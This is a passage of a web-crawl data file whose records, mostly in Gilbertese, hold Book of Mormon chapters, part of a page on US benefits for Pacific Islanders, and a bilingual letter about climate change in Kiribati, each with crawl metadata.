ngkoe ao ko roko ma akea moa am mwakuri.\nAio Nna taetae iaon\nikai buoka ake a bane ni bobongaaki bwa kanoan te boraraoi are e karaoali ongom ku naba bwa ;bwa r te kai ao tina maroroakinii tabeua buoka aika a kona n reke nakoira ngaira ake ke ti roko mai Matiare (Kiribatese\/Marshallese)","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/te-maeka-i-amerika.com\/te-buoka-man-te-abamakoro-tautaeka-fed-state-benefits\/","date":"2021-10-16T02:38:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323583408.93\/warc\/CC-MAIN-20211016013436-20211016043436-00238.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":313,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.355,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ao e a koro bukina bwa e a toki te katenibwi ma aua n ririki, ao te katenibwi ma nimaua naba n ririki, ao nooria ana reirei Kristo a katea ana ekaretia Iesu n aaba ni kabane ake a uakaan. Ao ni kabane ake a roko nakoia ma n rairaki ni koaua man aia bure, a bon bwabetitoaki n aran Iesu; ao e bon reke naba irouia te Tamnei are e Raoiroi.\n2 Ao e a koro bukina bwa n te katenibwi ma onoua n ririki, ao a rairaki aomata nakon te Uea, iaon te aba, aika Nibwaite ao Reimwanaite, ao bon akea te itabaraaraa ma te ikakaiwi imarenaia, ao a bon eti raoi aroia imarenaia.\n3 Ao a akatiteboaki imarenaia, ngaia are a bon aki kaubwai ao aki kainnano, aki kabaeaki ao aki inaomata, ma a bon kainaomataaki, ao a katoonga te bwai n tituaraoi mai karawa.\n4 Ao e a koro bukina bwa e a toki te katenibwi ma itiua n ririki naba ao e reiti nako n iai te rau n te aba.\n5 Ao iai mwakuri aika a korakora ma ni kamimi ake a karaoaki irouia ana reirei Iesu, n te aro are a bon akatoki aoraki, kateirakeia maate, ao a kanakonakoia ake a mwauku, ao a kanorabaia ake a mataki, ao ake a bonotaninga a ongo; ao a karaoi aeka ni bkakai nako i buakoia natiia aomata; ao bon akea te kakai are a karaoi ma ti n aran Iesu.\n6 Ao ngaia are e a toki naba te katenibwi ma waniua n ririki, ao te katenibwi ma ruaiwa, ao te kaabwi ma teuana, ao te kaabwi ma uoua, eng, ni karokoa e bane te kaabwi ma ruaiwa n ririki, ao te kanimwabwi ma teuana naba, ao te kanimabwi ma uoua; eng, ao ni karokoa ae bane te kanimabwi ma ruaiwa n ririki.\n7 Ao e kakorakora kanakoraoan aia waaki te Uea n te aba; eng, n te aro are a manga katei kaawa aika a bubura n taabo ake a kabuekaki iai kaawa aika a bubura.\n8 Eng, ao te akaawa are e bubura are Taraemera a karaoia bwa e na manga moan kateaki riki.\n9 Ma a bon mwaiti kaawa ake a tia n aiinako, ao e waerake te ran n onoi mwiia; ngaia are a bon aki kona ni kaboouaki kaawa aika a bubura aikai.\n10 Ao ngkai, nooria, e a koro bukina bwa ana aomata Nibwaai a bon rikirake ni matoatoa, ao e rianako waekoan mwaitia, ao a riki bwa aomata aika a rianako atamaroaia ma tikiraoia.\n11 Ao a mareaki, ma n anganako te aba bwa a na iein, ao a kakabwaiaki n aron mwaitin taian kakabwaia ake e a tia n anganiia te Uea.\n12 Ao a bon aki manga nakonako i mwin amwakuri ma otenanti man ana btua Mote; ma a bon nakonako i mwin tua ake a tia ni karekea mai iroun aia Uea ao Atuaia, n reitinako n caki mamatam ao n tataro ma ni kakaitibo n aki toki n tataro ao n ongo ana taeka te Uea.\n13 Ao e a koro bukina bwa bon akea te itabaraaraa i buakoia aomata ni kabane, n te aba ni kabuta; ma a bon mwaiti kakai aika a kamimi aika a karaoi ana reirei Iesu.\n14 Ao e a koro bukina bwa e a toki te kaitibwi ma teuana n ririki, ao te kaitibwi ma uoua n ririki naba, eng, ao ni kakimototoa, ni karokoa ae bane te kaitibwi ma ruaiwa n ririki; eng, bon te bubua te ririki ae bane, ao ana reirei Iesu, ake e a tia n rineia a bane n nako n ana abwaretaiti te Atua, ma ti ake bteniman ake a na tiku; ao bon iai riki ana creirei ake a manga dkatabuaki bwa onean mwiia; ao a mwaiti naba man te roro anne ake a tia n toki maiuia.\n15 Ao e a koro bukina bwa bon aakea te itabaraaraa n te aba, ibukin tangiran te Atua are e bon maeka inanoia aomata.\n16 Ao aakea te bakantang, waaki ni kauntaba, uruan te mweraoi, waaki ni kabekaau, te kewe, ke te tiriaomata, ke aekan nako te waaki ni bkaibwabwaru; ao e koaua bwa bon akea riki te botanaomata n ai aroia ae a ckukurei i buakoia aomata nako ake a karikaki ni bain te Atua.\n17 Bon akea taan iraa, ke taan tiriaomata, ao akea naba Reimwanaite, ke aekan reeti riki n aomata; ma a akatiteuanaki, natin Kristo, ao taan bwaibwai n uean te Atua.\n18 Ao ai kakabwaiakira ngaiia! Bwa e bon kakabwaiaia te Uea n aia waaki nako; eng, a bon kakabwaiaki ma ni kanakoraoaki aroia ni karokoa ae bane tebubua ao tebwina te ririki; ao te moan roro n ana tai Kristo a mate, ao bon akea te itabaraara n te aba ni kabuta.\n19 Ao e a koro bukina bwa Nibwaai, are e kawakina te kabanea n reekoti aio, (ao e kaawakin iaon ana abwaatua Nibwaai) e mate, ao natina te mwaane are Amota e kawakinna n onea mwiina; ao e kawakinna iaon ana bwaatua Nibwaai naba.\n20 Ao e kawakinna i nanon wanibwi ma aua te ririki, ao bon iai te rau n te aba, ma ti akea irouia tabeman aomata ake a birinako man te ekaretia ao a katokaa i aoia te ara are Reimwanaite; ngaia are ai manga iai Reimwanaite n te aba.\n21 Ao e a koro bukina bwa e a mate naba Amota, (ao bon tebubua ruabwi ma aua te ririki ma i mwin rokon Kristo) ao natina te mwaane are Amota e kawakina te reekoti n onean mwiina; ao e kawakinna naba iaon ana bwaatua Nibwaai; ao e koreaki naba n ana boki Nibwaai, are bon te boki aei.\n22 Ao e a koro bukina bwa e a bane uabubua te ririki; ao a mate kaain te kauoua n roro ma ti tabeman ake a tiku.\n23 Ao ngkai Ngai, Moomon I tangiria bwa kam na ataia bwa e a rikirake mwaitia aomata, n te aro are a kabuta aon te aba, ao a rikirake ni korakora kaubwaia, ibukin rikiraken aroia mai iroun Kristo.\n24 Ao ngkai, n te kauabubua ma teuana n ririki ao bon iai ma i buakoia ake a tabekakirake n te akainikatonga, n aron bwainakin kunnikai aika a bobuaka, ma aekan nako bwaeao ake a raneanea, ma bwain te aonaba aika a tamaroa.\n25 Ao man te tai anne ao a bon aki katiteboaki n aron aia abwai ma kaubwaia.\n27 Ao e a koro bukina bwa ngke e a bane uabubua ao tebwina te ririki a mwaiti ekaretia n te aba; eng, a mwaiti ekaretia ake a taekinna bwa a ataa Kristo, ma a bon akakewei mwaitin kanoan ana euangkerio, n te aro are a butimaei aekan nako te buakaka, ao a bon angan are e bareka te bwai ae tabu are e riai n btabuaki ibukin aki tauna.\n28 Ao te aekaretia aio e bon rianako mwaitin kaaina ibukin te buakaka, ao ibukin mwaakan Tatan are e bon reke tauan nanoia irouna.\n29 Ao riki, bon iai naba te ekaretia are e kakewea Kristo; ao a abwainikirina ana ekaretia ni koaua Kristo, ibukin aia nanorinano ao kakoauan Kristo; ao a bon ribaia ibukin taian kakai aika a mwaiti ake a mwakuri imarenaia.\n30 Ngaia are a bon kabongana te mwaaka ao te korakora i aoia ana reirei Iesu ake e bon tataninga ma ngaia, ao a bon teweaki nako nanon te anne ni kaikain; ao ni mwaakan ana taeka te Atua, are e mena irouia, ao a raeuaki nakon uoua nne ni kaikain, ao a otinako ni karaoi aia kakai aika a kamiimi n aron ana taeka.\n31 Ma e ngae n anne, e ngae ngke iai taian kakai aomata a bon kamatoatoa nanoia, ao a ukoukora tiringakia n aroia Iutaia i Ierutarem ngke a ukoukora tiringakin Iesu, n aron ana taeka.\n33 Ao a bon teweaki nako nanon anneia maan aika kaakang, ao a bon takakaro ma maan ake a kaakang n aron te teei ma te tiibu te teei; ao a bon otinako mai i buakoia n akea ikoakiia.\n34 Ma e ngae n anne, a kamatoatoai nanoia aomata, bwa a bon kairaki irouia ibonga ma burabeti ni kewe bwa a na katei ekaretia, ma ni karaoi aekan nako te buakaka. Ao a bon aoroia ana aomata Iesu; ma ana aomata Iesu a bon aki kabooa oreakia. Ao ngaia are a kerikaaki n aia aki onimaki ao ni buakaka, man te ririki teuana nakon te ririki teuana, ni karokoa ae bane uabubua ao tenibwi te ririki.\n35 Ao ngkai e a koro bukina bwa n te ririki aei, eng, n te uabubua ao tenibwi ma teuana n ririki, ao e a bon korakora te maenako imarenaia aomata.\n36 Ao e a koro bukina bwa n te ririki aei ao a teirake te botanaomata aika Nibwaite, ao bon taan kakoaua raoi Kristo; ao i buakoia bon iai ake a aranaki irouia Reimwanaite—bwa Iakobwaite, ao Iotebwaite, ao Tioramwaite;\n37 Ngaia are taan kakoaua raoi Kristo, ao taan taromauria ni koaua Kristo, (are a mena i buakoia ana areirei Iesu ake teniman ake ana tataninga) a bon aranaki bwa Nibwaite, ao Iakobwaite, ao Iotebwaite, ao Tioramwaite.\n38 Ao e a koro bukina bwa naake a totokoa te euangkerio a bon aranaki bwa Reimwanaite, ao Remueraite, ao Itimaeraite; ao a bon aki kerikaaki n aia aki onimaki ma bon nanoia ni akaitara ana euangkerio Kristo; ao a bon reireinia natia bwa a na kakewekewe, n aroia aia bakatibu, ake a bua man te moan tai.\n39 Ao aio ibukin buakakaia ma aia mwakuri aika bati n ribaki aia bakatibu, n aron naba are n te moan tai. Ao a areireinaki bwa a na ribaia natin te Atua, n aron are Reimwanaite a reireinaki bwa a na ribaia natin Nibwaai mai moana.\n40 Ao e a koro bukina bwa uabubua ao abwi ma aua te ririki ae e a tia ni bane, ao aikai aia waaki aomata. Ao mwakoroia aomata ake a bubuaka riki a bon rikirake ni matoatoa, ao a rikirake riki ni mwaiti riki nakoia ana aomata te Atua.\n41 Ao a bon reitinako ni katei ekaretia ibukiia, ma ni katamaroaia n aekan bwaai nako aika a kakawaki. Ao ngaia are uabubua ao nimabwi te ririki ae bane, ao uabubua ao onobwi naba te ririki.\n42 Ao e a koro bukina bwa aomata ake a buakaka riki a waaki ni manga katei aia taeka n tuea aika a karaba ma aia waaki ni kamwamwane are ana awaaki Kateanton.\n43 Ao aomata naba ake a aranaki bwa ana botanaomata Nibwaai a moanna ni kainikatonga inanoia, ibukin rianakon kaubwaia, ma n riki ni kamoamoa n aroia tariia, ake Reimwanaite.\n44 Ao man te tai aei ao a nanokawaki ana reirei ibukin aburen te aonaba.\n45 Ao e a koro bukina bwa ngke e a bane tenibubua te ririki, ao a bon korakora buakakaia ana aomata Nibwaai ao Reimwanaite ao bon titebo aroia.\n46 Ao e a koro bukina bwa taan kamwarua ake Kateanton a bon kabuta aon te aba; ao bon akea ae raoiroi ma ti ana reirei Iesu ake teniman. Ao a kaikoi koora ma tirewa aika a bati, ao ni bobwai ma ni kabobwai n aekan bwaai nako.\n47 Ao e a koro bukina bwa i mwin banen tenibubua ao nimaua te ririki, (ao aomata a bon tiku naba n aroia ni buakaka) ao e mate Amota; ao tarina are Amaron, e bon kaawakin taian reekoti n onea mwiina.\n48 Ao e a koro bukina bwa ngke e a bane tenibubua ao uabwi te ririki, ao Amaron e kairoroaki iroun te Tamnei are e Raoiroi bwa e na karabai taian areekoti ake a tabu—eng, ni kabane taian reekoti ake a tabu ake a tia ni karuoaki man te roro teuana nakon te roro teuana, ake a tabu—ni karokoa tenibubua ao uabwi te ririki man te tai are e roko iai Kristo.\n49 Ao e karabai iroun te Uea, bwa aonga ni manga aroko riki irouia nikiraia kaain te bata are Iakobwa, n aron taeka ni burabeti ao ana berita te Uea. Ao aio tokin ana reekoti Amaron.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/4-ne\/1?lang=gil","date":"2021-12-08T09:10:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00533.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1984,"character_repetition_ratio":0.076,"word_repetition_ratio":0.006,"special_characters_ratio":0.232,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ao ngkai, Ngai ae aMoomon, I a tauraoi n anga taian rongorongo ake I a tia ni koroi nako nanon bain natiu ae Moronaai, taraia, I a tia n noori tiringakia angiia au botanaomata, aika Nibwaite.\n2 Ao a amwaiti bubua n ririki i mwin rokon Kristo ao I anga taian rongorongo aikai nako nanon bain natiu; ao I taku inanou bwa e na noora tiringakia au botanaomata ni kabane. Ma ngkana e boraoi ma nanon te Atua ao e na aki iri tain mateia, bwa e na koroi taekan mateia, ma taekan naba Kristo, ao bwa n te bong teuana ao a na bkakabwaiaki iai.\n3 Ao ngkai, I a taekin nakoimi kanoan bwaai ake I a tia ni koroi; bwa ngke I tia ni koroi akakimototoan kanoan ana bbwaatua Nibwaai, ni karokoa ana tai n tautaeka te uea ae Beniamina, are e taekinna Amareki, ao I a ukoukori kanoan ctaian rongorongo ake a tia n reke i nanon baiu, ao I a kunei bwaatua aikai, aika a koreaki iai aia taeka burabeti, man ana tai Iakobwa ni karokoa ana tai n tautaeka te uea ae dBeniamina, ao ana taeka naba Nibwaai aika a mwaiti.\n4 Ao e akukurei nanou ni kanoan bwaatua aikai, n aron taeka ni burabeti ake a taekina rokon Kristo; ao ataia au bakatibu bwa a mwaiti aika a tia ni koro bukiia; eng, I ataia naba bwa a mwaiti bwaai ake a taekinaki n taian taetae ni burabeti ni karokoa te bong aio ae a tia ni koro bukiia, ao bwaai ake a taekinaki aika riaon te bong aio e koaua bwa a na bon koro naba bukiia—\n6 Ma taraia, N na anai bwaatua aikai, aika a taekinaki inanoia taian taetae ni burabeti ma kaotioti, ao N na karin i nanon nikiran au rongorongo, bwa a kakawaki nakoiu; ao I ataia bwa a na kakawaki nakoia tariu.\n7 Ao I karaoa aio ibukin te waaki ni awanawana; bwa e a tia ni wirikirikiaki nakoiu, n aron ana mwakuri Tamnein te Uea are e mena inanou. Ao ngkai, I aki kona n atai kanoan bwaai aikai ni kabane; ma e batai bwaai ni kabane aika a na roko te Uea; mangaia ae e mwakuri inanou bwa N na karaoa are nanona.\n9 Ao ngkai, Ngai ae Moomon, I a waaki ni motika kanoan au rongorongo, aika I anai man ana bwaatua Nibwaai; ao I karaoia n aron te rabakau ma te atatai are e tia n anganai te Atua.\n10 Mangaia ae e koro bukina bwa ngke e a tia Amareki n aanga taian bwaatua aikai nako nanon bain te uea ae Beniamina, ao e katukui i rarikin taian bbwaatua ake tabeua, aika kanoaia bon taian rongorongo ake a tia ni koreaki irouia cuea man te roro teuana nakon teuana, ni karokoa ana tai te uea ae Beniamina.\n11 Ao a karuoaki rikaaki mai iroun te uea ae Beniamina, man te rooro teuana nakon te rooro teuana ni karokoa ae a reke i nanon abaiu. Ao Ngai ae Moomon, I tataro nakon te Atua bwa a taurabwaki man te tai aio nakon te tai ae e na roko. Ao I ataia bwa a na taurabwaki; bwa a rangi ni kakawaki bwaai ake a koreaki inanoia, ao a na bmotikaki naba iai taekaia au botanaomata ma taria mai iai n tain te kabanea ni bong, n aron ana taeka te Atua ake a koreaki inanoia.\n12 Ao ngkai, aikai taekan te uea ae Beniamina—iai te itabaraara teutana i buakoia ana botanaomata.\n13 Ao e koro bukina bwa a mwananga taanga n tautia aika Reimwanaite mai aaban Nibwaai bwa a na buakaniia ana botanaomata. Ma taraia, e botiia ana taanga ni buaka te uea ae Beniamina, ao e teirake ni kaaitaraia; ao e ira naba buakon te buaka anne, ao e kabongana ana bkabaang Raban.\n14 Ao ma korakoran te Uea ao a teirake ni kaaitaraia aia kairiribai, ao a tiringia ngaa ma ngaa n tautia aika Reimwanaite. Ao e koro bukina ae a boo ma Reimwanaite ni karokoa ae a kakionakoia mai aon aban rikiia ni kabane.\n15 Ao e koro bukina bwa iai tabemwaang aika a riki bwa aKristo ni kewe, ao a kainaki wiia, ao a katuaeaki n aron aia bure;\n16 Ao iai tabemwaang aika a riki bwa burabeti ni kewe, ma taan kabwarabwara ao tia reirei ni kewe i buakoia te botanaomata, ao a bane ni katuaeaki aomata aikai n aron aia bure; ao ngkai e korakora te itabaraara ao a mwaiti aika a nako n iria Reimwanaite, taraia, e koro bukina bwa te uea ae Beniamina, ma aia ibuobuoki aburabeti aika a tabu aika a maeka i buakoia ana botanaomata—\n17 Bwa taraia, te uea ae Beniamina bon te aomata ae atabu, ao e tautaeka iaoia ana botanaomata n te raoiroi; ao a mwaiti aomata aika a tabu iaon te aba, ao a tataekina ana taeka te Atua ma te bmwaaka ao te kariaiakaki; ao a kabonganai taeka aika a cmatoatoa ibukin kamoamoaia te botanaomata—\n18 Mangaia, ae man aia ibuobuoki aikai, ao e a waaki te uea ae Beniamina ma korakoran rabwatana ni kabane ma ana konabwai ni kabane tamneina, ao burabeti naba, a manga moan kaoka te rau nako aon te aba.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/w-of-m\/1?lang=gil","date":"2021-12-08T09:58:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00280.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":859,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Taraia, ngkai, Ngai ae Iarom, I a koroi taeka tabeua n aron ana tua tamau, ae Enoti, bwa a na kaawakinaki ara akateiriki.\n2 Ao ngkai a auarereke bbwaatua aikai, ao a ckoreaki bwaai aikai ibukiia tarira aika dReimwanaite, mangaia ae e riai bwa N na kakimototoa au koroboki; ao N na aki koroi taekan au taetae ni burabeti, ke au kaotioti. Bwa teraa ae N na kona ni koroi riki aika e tuai ni koroi tamau? Bwa e koaua ae a tuai ni kaota taekan te babaire ni kamaiu? Eng, I tuangingkami bwa e a tia; I ataia bwa e tau aio.\n3 Taraia, a mwaiti bwaai aika a riai ni karaoaki i buakoia te botanaomata, ibukin matoatoan nanoia, ma bonon taningaia, ma matakiin nanoia, ma akamoamoaia; ma e ngae n anne ao e korakora ana nanoanga te Atua nakoia, ao n te tai aio e tuai ni bkamaunaia mai iaon te aonaba.\n4 Ao a mwaiti i buakora aika a karekei akaotioti aika a mwaiti, bwa aki bane ni bonotaninga. Ao mwaitia ake a aki bonotaninga ao iai irouia te onimaki, ao a breitaki ma te Tamnei ae Tabu, ae kaoti bwaai nakoia natiia aomata, n aron korakoran aia onimaki.\n5 Ao taraia ngkai, ai uabubua te ririki n tia n nako, ao a rikirake korakoraia ana botanaomata Nibwaai iaon te aba. A kakorakoraia ni akaawakina ana tua Mote ma tabun te bong ae te btabati ibukin te Uea. A aki ctaetaebuaka; ke n taetae n daki akaaka te Uea. A matoatoa tuan aon te aba.\n6 Ao a kamaenakoaki ni kabuta nako te aba, ao Reimwanaite naba. Ao a mwaiti riki nakon mwaitia Nibwaite; ao a kukurei nanoia n te atiriaomata ao a niinim raraaia maan ni kakang.\n7 Ao e koro bukina bwa a mwaiti taai ake a roko iai n ruoruoniira, ngaira aika Nibwaite, bwa ti na bobuaka mangaia. Ma aomata aika a korakora ara atoka ma ana tia kairi n onimakina te Uea; ao n reireinia te botanaomata taekan te Uea; mangaia ae ti a kona ni kaaitaraia Reimwanaite ao ti kakioia nako mai iaon babara, ao tia moana kamatoan ara kaawa, ma aaba nako ake ti maeka iai.\n8 Ao e rikirake mwaitira, ao ti a kabuta aon te aba, ao e a korakora kaubwaira n te koora, ma te tirewa, ma bwaai aika a kakawaki, ma bwaai aika a tamaroa aron karaoia man te kai, ma te kateitei, ma bwai ni mwakuri, ao n te biti ma kaobwa naba, ma te buraati ao te biti ae renganaki, ao ti karaoi aekan bwai ni mwakuri nako ibukin ribanan te aba, ma abwai ni buaka—eng, kanoan kai ni katebe aika a kakang taboia, nnen kanoan kai ni katebe, ma te koro, ma te kainiwai, ma aron katauraoi nako ibukin te buaka.\n9 Ao ti a tauraoi ni kaaitaraia Reimwanaite, ao a aki tokanikai i aora. Ma e a kaotaki iai koauan ana taeka te Uea, ake taekin nakoia ara bakatibu, ngke e kangai: Kam na teimatoa ni kakabwaiaki iaon te aba aio ngkana kam teimatoa ni kaawakin au tua.\n10 Ao e koro bukina bwa a anga aia taeka ni katauraoi ana burabeti te Uea aika a mwaiti nakoia ana botanaomata Nibwaai, n aron ana taeka te Atua, ao ngkana a aki kaawakin au tua, ao a bwaka n riaoan te tua, ao a na akamaunaki mai iaon te aba.\n11 Mangaia ae a kabotumwaakaia taian burabeti, ma ibonga, ma taan tia reirei n anga taeka n reirei ma te taotaonakinnano ao te kakaonimaki; n reiakina ana atua Mote, ma bukin kateaia; n anai nanoia bwa a na bkariia rokon te Mesia, ao ni kakoaua n caiaron ae e a tia n roko. Ao aio aron aia anga reirei nakoia.\n13 Ao e koro bukina bwa ai uabubua tenibwi ma waniua te ririki n nako—i mwin rokon taian bubuaka, ma itabaraara, ma ngurengure, i nanon taai aika a maan.\n14 Ao Ngai ae Iarom, I a katoka au koroboki, ngkai a uarereke taian bwaatua. Ma taraia, tariu, kam kona ni wareki ana abwaatua Nibwaai ake tabeua; bwa taraia, a koreaki inanoia taekan ara bubuaka n aron aia taeka uea, ma ake a onimakinaki bwa a na koroboki.\n15 Ao I a anga taian bwaatua aikai nako nanon bain natiu ae Ominai, bwa a na kaawakinaki n aron aia atua ara bakatibu.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/jarom\/1?lang=gil","date":"2021-12-08T10:19:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00306.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":714,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dear Kiribati\nIt's been 20 years since we first met, since I first breathed in your hot salty air, waded in your warm turquoise blue waters, instantly you intoxicated me. All of me. My mind, heart and soul.\nBut today. I fear for you.\nI fear that the rest of the world will not know you. Blinded by climate change, they will not see your beauty, your kindness, your katei. Worthy of everything this world has to offer, and more.\nThe world hoped to solve this ecological genocide with laws, science, innovation and money, but money (or rather greed) is what brought us here and the technology will not develop fast enough to stop what has already happened.\nI believe humanity is the only way to solve this. We are capable of transformational compassion. We see it all the time. It is compassion that drives change to contribute to a more globally just society, where greed, hate and anger are replaced by generosity, love, and joy.\nDear world,\nI believe in you. I believe in us. I believe in humanity. Because if the climate can change, so can we.\nSo must we.\n***Kiribati Translation***\nNAKON KIRIBATI\nAi uabwii ma teuana te ririki man te tai are ti moan kaitiboo iai, man au moan tai n ikerakea angim ae e kabuebue man taoro, n rinanon am aabue ni marawa are buruu man kiriin are e a bon kamangingai n niniai, rabwatau ni kabane. Au iango, buroou ao tamneiu.\nMan te bong aio. I a maaku ibukim\nMaakun nanou bwa kaain te aonnaba a nang aki ataiko. Te aki nooraaba man ana waaki bitakin te aonnaba ma bwaina nako a nang aki noora tikiraoim, am ataatai aomata, ao kateim, Kakannatom n reke iroum ni kabane bwaai are e kona n anga te aonnaba ao are iaona riki.\nAna Kaantaninga ao nanon te Aonnaba bwa e kan kakaea tokin te waaki are tiringakiia bwaai nako ake iai maiuia ni kabonganaakin te Tua, te Rabakau ibukin te maiu ao te aonnaba ao ai te Mwane. Te mwane are boni boton te aki rauaki ni kaubwain te aonnaba ao tangiran riki are iaona ao te nano (greed) aio are e a bon uotiira nakon te tai aio. Bwaai n rabakau ake ana kaaitarai waaki aikai a bon rang iremwe rikirakeia ni kona ni katokii waaki ae a bon tia n riki.\nI kakouaa bwa Te ataatai aomata bon tii te kawai ni kakaean te reke. Ti bane ni kona ni bitii nanora nakon te nanoanga. Ti bane ni kona n nooria n taainako bwa te nanoanga boni ngaia are e bweeana te bitaki are e riki bwa te boutoka nakon te aonnaba are e kaetieti raoi. Are te nano n aki rauaki ni kaubwain te aonnaba , te kairiribai, ao te nano n uun a boni bane n oneaki mwiia n te nano n angaanga, te Tangira ao te Kukurei.\nNakon Te Aonnaba,\nBon iai au koaua iroum. Bon iai au koaua i bon iroura. Iai au koaua n te ataatai aomata. Ngkana e kona ni bitaki te Aonnaba ma bwaina nako (environment) ai ngaira naba ti boni kona.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.mike-roman.com\/dear-kiribati","date":"2021-11-28T12:10:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358520.50\/warc\/CC-MAIN-20211128103924-20211128133924-00309.warc.gz","language":"gil","language_score":0.9999326468,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9999326467514038}","num_words":522,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.278,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E riai bwa e na ataaki n aaba, reeti, neewe, ao ni botanaomata ni kabaneia ake a na reke irouia te boki aio: Bwa Iotebwa Timiti te Ataei., ae te tia raira te boki aio, e a tia ni kaoti nakoira taian bwaatua aika a tia n taekinaki, aika a tara ni koora; ao ti tau i nanon baira baana ake titebo mwaitia ma ake e a tia n rairi Timiti; ao ti noori naba taian koroboki ake titebo taraaia ma korobokin ngkoa, ma aron karaoaia aika kamimi. Ao ti tataekin bwaai aikai ma nanora ae koaua, bwa e a tia ni kaoti Timiti nakoira, ao ti noori ao ma n tabeki, ao ti ataia ma te aki nanokokoraki bwa iai iroun Timiti taian bwaatua aika ti a tia n taekin aikai. Ao ti anga arara nakon te aonaba, bwa ti na kakoaua nakon te aonaba ibukin bwaai ake ti a tia n noori. Ao ti aki taekina te kewe, te Atua bon ara tia kakoaua.\nChristian Whitmer\nJacob Whitmer\nPeter Whitmer te Ataei\nJohn Whitmer\nHiram Page\nJoseph Smith te Ikawai\nHyrum Smith\nSamuel H. Smith","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/eight?lang=gil","date":"2021-12-08T10:10:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00190.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":187,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mangaia are, bon kakimototoan rongorongoia ana botanaomata Nibwaai, ao Reimwanaite naba—Ae koreaki nakoia Reimwanaite, aika nikiraia te bata are Iteraera; ao nakoia naba Iutaia ao Tientaire—E koreaki n te tua, ao n tamnein naba te taeka ni burabeti ao te kaotioti—E koreaki ao e kainaki, ao e karabaki iroun te Uea, bwa a aonga n aki uruakaki—Ao a na manga kaotaki n ana bwaintituaraoi ao mwaakan te Atua nakon aron rairana—E kainaki ni bain Moronaai, ao e karabaki iroun te Uea, bwa e na manga kaokaki n te tai are e a tia ni motikaki rinanoia Tientaire—Rairakina bon man ana bwaintituaraoi te Atua.\nKakimototoan te rongorongo are e anaaki naba man Ana Boki Ita, are rongorongoia ana botanaomata Iareta, ake a kamaenakoaki n te tai are e kamangaoa iai aia taetae aomata te Uea, ngke a katea te taua n nako karawa—Are e na kaotaki iai nakoia nikiraia te bata are Iteraera bwaai aika kakannato ake e a tia ni karaoi te Uea ibukiia aia bakatibu; ao bwa a aonga n ataa ana berita ae tabu te Uea, ao man aki tewenakoaki n aki toki—Ao ibukin naba anaakin nanoia Iutaia ma Tientaire bwa Iesu bon te Kristo, ae te Atua ae Akea Tokina, are e boni kaotia ngaia nakoia aaba ni kabane—Ao ngkai, ngkana arona bwa iai kaairua ao bon aia kaairua aomata; mangaia ae kam na aki kabuakakai ana bwai nako te Atua, bwa e aonga n akea barekami ae e na kuneaki i matan ana kaintekateka ni motikitaeka Kristo.\nMoan rairana man bwaatua nakon te Ingiriti\niroun Iotebwa Timiti te Ataei","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/bofm-title?lang=gil","date":"2021-12-08T09:27:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00616.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 